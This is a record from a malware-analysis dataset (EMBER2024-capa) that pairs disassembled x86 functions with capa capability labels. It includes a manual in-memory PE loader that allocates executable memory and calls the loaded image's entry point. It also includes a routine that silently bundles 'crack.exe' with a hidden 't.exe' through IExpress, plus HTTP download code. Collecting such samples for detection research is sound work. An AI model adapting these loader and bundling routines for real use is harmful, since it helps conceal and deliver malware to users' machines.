joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015170
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 0x2001f
push 0
push 0x1003ef08
push SysReAllocStringLen
mov byte [esi], 0
call fcn.10015eb0
add esp, 0x14
test eax, eax
jne 0x100151f7
push edi
mov edi, dword [esp + 0x18]
lea ecx, [esp + 8]
push ecx
push esi
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [esp + 0x24]
push 0x100413c8
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x14]
push 1
push 0x100413c8
push 1
push 0
push 0x100413c8
push ecx
mov byte [esi + edi - 1], 0
call fcn.10015e50
mov edx, dword [esp + 0x14]
push edx
call fcn.10015e80
add esp, 4
pop edi
pop esi
add esp, 8
ret

Function at 0x10015270
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x414
mov eax, dword [0x1003ffa0]
xor eax, esp
mov dword [esp + 0x410], eax
push 0x3ff
lea eax, [esp + 0x14]
push eax
push 0x10000000
mov dword [0x10041478], 0
mov dword [0x1004147c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10015326
push esi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocStringLen
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10015325
push 2
push 0
push 0xfffffffffffffff4
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [esp + 0x14]
push edx
push 0xc
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0xc]
cmp eax, 0x2b67
je 0x1001530a
cmp eax, 0x56ce
jne 0x1001531e
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [0x10041478], ecx
mov dword [0x1004147c], edx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.1001db6d
add esp, 0x414
ret

Function at 0x100154f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x30
push esi
push edi
mov edi, dword [esp + 0x40]
test edi, edi
je 0x10015503
mov dword [edi], 0
mov esi, dword [esp + 0x3c]
lea eax, [esp + 8]
push eax
push esi
call fcn.1001f8dd
add esp, 8
test eax, eax
jne 0x100155b1
cmp dword [esp + 0x1c], eax
je 0x100155b1
push 0x1003f1ec
lea ecx, [esp + 0x44]
push esi
push ecx
call fcn.1001f815
add esp, 0xc
test eax, eax
jne 0x100155b1
mov edx, dword [esp + 0x1c]
add edx, 1
push edx
call fcn.1001d5fc
mov esi, eax
add esp, 4
test esi, esi
je 0x100155b1
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x1c]
push eax
push 1
push ecx
push esi
call fcn.100200b7
add esp, 0x10
cmp eax, 1
je 0x1001558e
push esi
call fcn.1001cf7d
mov edx, dword [esp + 0x44]
add esp, 4
push edx
xor esi, esi
call fcn.1001f52e
add esp, 4
pop edi
mov eax, esi
pop esi
add esp, 0x30
ret
test edi, edi
mov eax, dword [esp + 0x1c]
je 0x10015598
mov dword [edi], eax
mov byte [esi + eax], 0
mov edx, dword [esp + 0x40]
push edx
call fcn.1001f52e
add esp, 4
pop edi
mov eax, esi
pop esi
add esp, 0x30
ret
pop edi
xor eax, eax
pop esi
add esp, 0x30
ret
Function at 0x10019ff0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [eax]
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
push esi
lea esi, [ecx + eax + 0x18]
mov dword [esp + 8], 0
jbe 0x1001a098
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x1001a051
mov edx, dword [esp + 0x1c]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x1001a07a
mov eax, dword [esi - 4]
push pe_nt_image_headers32
push 0x1000
push edi
add eax, ebx
push eax
call ebp
push edi
push 0
push eax
mov dword [esi - 8], eax
call fcn.1001df10
jmp 0x1001a077
mov ecx, dword [esi - 4]
push pe_nt_image_headers32
push 0x1000
push eax
add ecx, ebx
push ecx
call ebp
mov edx, dword [esi]
mov edi, eax
mov eax, dword [esi + 4]
add eax, dword [esp + 0x18]
push edx
push eax
push edi
call fcn.1001e170
mov dword [esi - 8], edi
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
mov eax, dword [esp + 0x10]
movzx ecx, word [edx + 6]
add eax, 1
add esi, 0x28
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x1001a022
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret

Function at 0x1001a1c0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [eax]
movzx ecx, word [ebx + 0x14]
push ebp
xor ebp, ebp
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x1001a277
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x1001a215
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1001a25d
test eax, 0x4000000
lea ecx, [edx + ecx*2]
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x1003ff24]
je 0x1001a22f
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x1001a24a
test al, 0x40
je 0x1001a241
mov ecx, dword [ebx + 0x20]
jmp 0x1001a248
test al, al
jns 0x1001a25d
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x1001a25d
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
mov ebx, dword [edx]
movzx eax, word [ebx + 6]
add ebp, 1
add edi, 0x28
cmp ebp, eax
jl 0x1001a1e2
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1001a430
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1003a8b8
push 0x1001d610
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x1003ffa0]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
jne 0x1001a5d1
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1001a5d1
push pe_nt_image_headers32
push 0x2000
mov eax, dword [ebx + 0x50]
push eax
mov ecx, dword [ebx + 0x34]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call esi
mov edi, eax
test edi, edi
jne 0x1001a4b7
push pe_nt_image_headers32
push 0x2000
mov edx, dword [ebx + 0x50]
push edx
push eax
call esi
mov edi, eax
test edi, edi
je 0x1001a5d1
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [esi + 4], edi
xor eax, eax
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
push pe_nt_image_headers32
push 0x1000
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push pe_nt_image_headers32
push 0x1000
mov ecx, dword [ebx + 0x54]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
add edx, dword [ebx + 0x54]
push edx
push ecx
push eax
call fcn.1001e170
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ebp - 0x1c]
add eax, edx
mov dword [esi], eax
mov dword [eax + 0x34], edi
push esi
push ebx
push ecx
call fcn.10019ff0
add esp, 0x18
mov eax, edi
sub eax, dword [ebx + 0x34]
je 0x1001a53d
push eax
mov eax, esi
call fcn.1001a280
add esp, 4
push esi
call fcn.1001a0a0
add esp, 4
test eax, eax
je 0x1001a57c
push esi
call fcn.1001a1c0
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x1001a5a0
add eax, edi
je 0x1001a57c
mov dword [ebp - 4], 0
push 0
push 1
push edi
call eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xfffffffe
test eax, eax
jne 0x1001a599
push esi
call fcn.1001a3a0
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x10], 1
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001a750
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x10031ddb
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x1003ffa0]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
push 0x2c
call fcn.1001dfa3
mov esi, eax
add esp, 4
mov dword [esp + 0xc], esi
xor edi, edi
cmp esi, edi
mov dword [esp + 0x18], edi
je 0x1001a7ae
lea ecx, [esi + 0x10]
call fcn.10015030
mov dword [esi + 0x1c], edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0xc], edi
mov dword [esi + 8], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x28], edi
jmp 0x1001a7b0
xor esi, esi
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push edi
push edi
push esi
push 0x1001a6c0
push edi
push edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], ecx
mov dword [esi + 0x20], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x28], eax
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x1001db6d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1003ffa0]
jne 0x1001db77
repz ret
jmp fcn.100241ac

Function at 0x10029ed4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.100227f0
xor ebx, ebx
cmp dword [0x10041f40], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x10029fa9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x10029f14
xor eax, eax
jmp 0x1002a06d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x10029f0d
push eax
call fcn.1002278d
mov dword [esp], 0x10035154
push edi
mov dword [0x10041f40], eax
call esi
push eax
call fcn.1002278d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10041f44], eax
call esi
push eax
call fcn.1002278d
mov dword [0x10041f48], eax
lea eax, [ebp - 8]
push eax
call fcn.10021804
test eax, eax
pop ecx
pop ecx
je 0x10029f77
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1001db86
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x10029fa9
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.1002278d
cmp eax, ebx
pop ecx
mov dword [0x10041f50], eax
je 0x10029fa9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1002278d
pop ecx
mov dword [0x10041f4c], eax
mov eax, dword [0x10041f4c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1002a022
cmp dword [0x10041f50], esi
je 0x1002a022
push eax
call fcn.100227f9
pop ecx
call eax
cmp eax, ebx
je 0x10029fef
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x10041f50]
call fcn.100227f9
pop ecx
call eax
test eax, eax
je 0x10029fef
test byte [ebp - 0x18], 1
jne 0x1002a022
lea eax, [ebp - 0xc]
push eax
call fcn.1002183b
test eax, eax
pop ecx
je 0x1002a00a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1001db86
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1002a019
or dword [ebp + 0x10], 0x200000
jmp 0x1002a053
or dword [ebp + 0x10], 0x40000
jmp 0x1002a053
mov eax, dword [0x10041f44]
cmp eax, esi
je 0x1002a053
push eax
call fcn.100227f9
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1002a053
mov eax, dword [0x10041f48]
cmp eax, esi
je 0x1002a053
push dword [ebp - 4]
push eax
call fcn.100227f9
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x10041f40]
call fcn.100227f9
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100303f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10042070], 0
push esi
jne 0x10030363
call fcn.1003028e
test eax, eax
je 0x100303a6
mov eax, dword [0x10042070]
cmp eax, 1
jne 0x10030384
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x100303a6
pop esi
ret
push eax
call dword [0x10042078]
test eax, eax
jne 0x100303ee
push pe_nt_image_headers32
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100303aa
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x10042070]
call dword [0x10042078]
mov edi, eax
test edi, edi
je 0x100303d1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x100303ed
lea edi, [esi + 0xff0]
push esi
push dword [0x10042070]
call dword [0x10042074]
add esi, 0x10
cmp esi, edi
jb 0x100303d7
mov eax, esi
pop edi
pop esi
ret
jmp 0x10030350
Function at 0x401a60
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x908
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
call fcn.00401a31
pop ecx
mov edi, eax
call fcn.00405ace
push eax
call fcn.00405ace
push eax
lea eax, [ebp - 0x908]
push str._Version__nClassIEXPRESS_nSEDVersion3_n_Options__nPackagePurposeInstallApp_nShowInstallProgramWindow0_nHideExtractAnimation0_nUseLongFileName0_nInsideCompressed0_nCAB_FixedSize0_nCAB_ResvCodeSigning0_nRebootModeN_nInstallPrompt__InstallPrompt___nDisplayLicense__DisplayLicense___nFinishMessage__FinishMessage___nTargetName__TargetName___nFriendlyName__FriendlyName___nAppLaunched__AppLaunched___nPostInstallCmd__PostInstallCmd___nAdminQuietInstCmd__AdminQuietInstCmd___nUserQuietInstCmd__UserQuietInstCmd___nSourceFilesSourceFiles_n_Strings__nInstallPrompt_nDisplayLicense_nFinishMessage_nTargetName_s_bundle.exe_nFriendlyNameb_nAppLaunchedcrack.exe_nPostInstallCmdt.exe_nAdminQuietInstCmd_nUserQuietInstCmd_nFILE0_crack.exe__nFILE1_t.exe__n_SourceFiles__nSourceFiles0_s_n_SourceFiles0__n__FILE0___n__FILE1__
push eax
call fcn.004195ba
call fcn.00405ace
push eax
mov esi, str._s_t.exe
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.004195ba
push dword [ebp - 4]
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.00405c55
call fcn.00405ace
push eax
mov ebx, str._scrack.exe
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.004195ba
mov eax, dword [ebp + 0xc]
push dword [eax]
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call fcn.00405c55
add esp, 0x40
call fcn.00405ace
push eax
mov edi, str._si.sed
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.004195ba
lea eax, [ebp - 0x908]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401b10
sub eax, ecx
push eax
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00405c55
push 1
push str._n__q__m_i.sed
push str.iexpress
call fcn.00405dce
push dword [ebp + 0xc]
push 0
push str.bundle.exe
call fcn.00405cb0
mov dword [ebp - 4], eax
call fcn.00405ace
push eax
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.004195ba
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0x30
lea eax, [ebp - 0x108]
push eax
call esi
call fcn.00405ace
push eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.004195ba
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call esi
call fcn.00405ace
push eax
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.004195ba
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call esi
call fcn.00405ace
push eax
lea eax, [ebp - 0x108]
push str._s_bundle.exe
push eax
call fcn.004195ba
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40553e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
lea eax, [ebp - 4]
push 1
push 4
push eax
call fcn.0041a3c1
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.0041949c
push dword [ebp + 8]
mov dword [esi], eax
push dword [ebp - 4]
push 1
push eax
call fcn.0041a3c1
mov eax, dword [esi]
mov ecx, dword [ebp - 4]
add esp, 0x24
mov byte [ecx + eax], 0
leave
ret

Function at 0x40557a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x4392bc
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
xor edi, edi
cmp esi, edi
mov dword [0x4392b8], esi
jne 0x4055a3
mov dword [0x4392b8], str..store
push 0x433a0c
push dword [0x4392b8]
lea eax, [ebp - 4]
push eax
call fcn.0041a114
add esp, 0xc
test eax, eax
jne 0x405637
push dword [ebp - 4]
push 1
push 4
push 0x4392ac
call fcn.0041a3c1
mov eax, dword [0x4392ac]
shl eax, 2
push eax
call fcn.0041949c
mov dword [0x4392b4], eax
mov eax, dword [0x4392ac]
shl eax, 2
push eax
call fcn.0041949c
add esp, 0x18
cmp dword [0x4392ac], edi
mov dword [0x4392b0], eax
jle 0x40562b
mov eax, dword [0x4392b4]
push dword [ebp - 4]
lea esi, [eax + edi*4]
call fcn.0040553e
mov eax, dword [0x4392b0]
push dword [ebp - 4]
lea esi, [eax + edi*4]
call fcn.0040553e
inc edi
cmp edi, dword [0x4392ac]
pop ecx
pop ecx
jl 0x405600
push dword [ebp - 4]
call fcn.0041a858
mov al, 1
jmp 0x405656
push edi
mov dword [0x4392ac], edi
call fcn.0041949c
push edi
mov dword [0x4392b4], eax
call fcn.0041949c
mov dword [0x4392b0], eax
pop ecx
xor al, al
pop ecx
pop edi
pop esi
leave
ret

Function at 0x40565b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405666
sub eax, ecx
mov dword [ebp - 4], eax
inc eax
call fcn.004270b0
mov eax, dword [ebp + 0xc]
mov esi, esp
mov edx, esi
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x405681
push dword [ebp + 8]
lea eax, [ebp - 4]
push 1
push 4
push eax
call fcn.0041a4f6
push dword [ebp + 8]
push dword [ebp - 4]
push 1
push esi
call fcn.0041a4f6
add esp, 0x20
lea esp, [ebp - 8]
pop esi
leave
ret

Function at 0x4056b2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x433a10
push dword [0x4392b8]
lea eax, [ebp - 4]
push eax
call fcn.0041a114
add esp, 0xc
test eax, eax
jne 0x40572a
push esi
push dword [ebp - 4]
push 1
push 4
push 0x4392ac
call fcn.0041a4f6
xor esi, esi
add esp, 0x10
cmp dword [0x4392ac], esi
jle 0x40571c
mov eax, dword [0x4392b4]
push dword [eax + esi*4]
push dword [ebp - 4]
call fcn.0040565b
mov eax, dword [0x4392b0]
push dword [eax + esi*4]
push dword [ebp - 4]
call fcn.0040565b
add esp, 0x10
inc esi
cmp esi, dword [0x4392ac]
jl 0x4056f0
push dword [ebp - 4]
call fcn.0041a858
pop ecx
mov al, 1
pop esi
leave
ret
xor al, al
leave
ret
Function at 0x405c55
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x405c7d
xor al, al
jmp 0x405cad
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push ebx
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
add esi, dword [ebp - 4]
sub edi, dword [ebp - 4]
cmp dword [ebp - 4], ebx
ja 0x405c85
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov al, 1
pop esi
pop ebx
leave
ret

Function at 0x405cb0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x405cd7
xor eax, eax
jmp 0x405d32
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp dword [ebp + 0xc], edi
mov edi, dword [ebp + 0x10]
mov esi, eax
jne 0x405cf6
push esi
call fcn.0041949c
pop ecx
mov dword [ebp + 0xc], eax
mov dword [edi], esi
cmp dword [edi], esi
jae 0x405d07
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [edi], esi
xor eax, eax
jmp 0x405d31
mov dword [edi], esi
mov edi, dword [ebp + 0xc]
push 0
lea eax, [ebp - 4]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
sub esi, dword [ebp - 4]
add edi, dword [ebp - 4]
cmp dword [ebp - 4], 0
ja 0x405d0c
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp + 0xc]
pop esi
pop edi
pop ebx
leave
ret

Function at 0x405d36
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x108
lea edx, [ebp - 0x108]
push ebx
sub edx, eax
xor ebx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x405d4d
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.0041a010
cmp eax, ebx
pop ecx
pop ecx
je 0x405d6d
mov byte [eax], bl
push ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
setne al
cmp al, bl
jne 0x405d95
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x405d95
xor al, al
jmp 0x405dcb
push esi
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push dword [ebp + 8]
call fcn.0040602d
mov esi, eax
add esp, 0x10
cmp esi, ebx
jne 0x405db1
xor al, al
jmp 0x405dca
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00405c55
push esi
mov bl, al
call fcn.0041937a
add esp, 0x10
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x405dce
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
jne 0x405de5
mov dword [ebp + 0xc], 0x42f0f3
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405deb
sub eax, edx
mov esi, eax
mov eax, dword [ebp + 0xc]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405dfc
sub eax, edi
lea eax, [eax + esi + 4]
call fcn.004270b0
mov esi, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.__s___s
push esi
call fcn.004195ba
push pe_nt_image_headers32
lea eax, [ebp - 0x50]
push ebx
push eax
mov dword [ebp - 0x54], 0x44
call fcn.0041e6e0
add esp, 0x1c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
mov word [ebp - 0x24], bx
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x405e8b
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_GetProcessId]
cmp byte [ebp + 0x10], bl
mov edi, eax
je 0x405e77
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov eax, edi
jmp 0x405e8d
xor eax, eax
lea esp, [ebp - 0x60]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405f43
Capabilities:
Check http status code
Get http content length
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push edi
mov edi, dword [sym.imp.WININET.dll_HttpQueryInfoA]
push 4
pop ebx
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x20000013
push dword [ebp + 8]
mov byte [ebp - 1], 0
mov dword [ebp - 0x10], ebx
call edi
cmp dword [ebp - 0x18], 0xc8
je 0x405f82
xor eax, eax
jmp 0x406029
cmp dword [ebp + 0xc], 0
jne 0x405fbd
push 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000005
push dword [ebp + 8]
mov dword [ebp - 0x14], ebx
call edi
test eax, eax
jne 0x405fae
mov byte [ebp - 1], 1
mov dword [ebp - 0xc], 0x400
mov eax, dword [ebp - 0xc]
push eax
mov dword [esi], eax
call fcn.0041949c
pop ecx
mov dword [ebp + 0xc], eax
mov edi, dword [esi]
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x418]
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 8], edi
jbe 0x406001
cmp byte [ebp - 1], 0
je 0x405f7b
mov eax, dword [esi]
add edi, eax
add eax, eax
push eax
push dword [ebp + 0xc]
mov dword [esi], eax
call fcn.0041a583
test eax, eax
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
je 0x405f7b
push dword [ebp - 8]
lea eax, [ebp - 0x418]
push eax
mov eax, dword [esi]
sub eax, edi
add eax, dword [ebp + 0xc]
push eax
call fcn.0041ec90
sub edi, dword [ebp - 8]
add esp, 0xc
cmp dword [ebp - 8], 0
ja 0x405fbf
sub dword [esi], edi
mov eax, dword [ebp + 0xc]
pop edi
pop ebx
leave
ret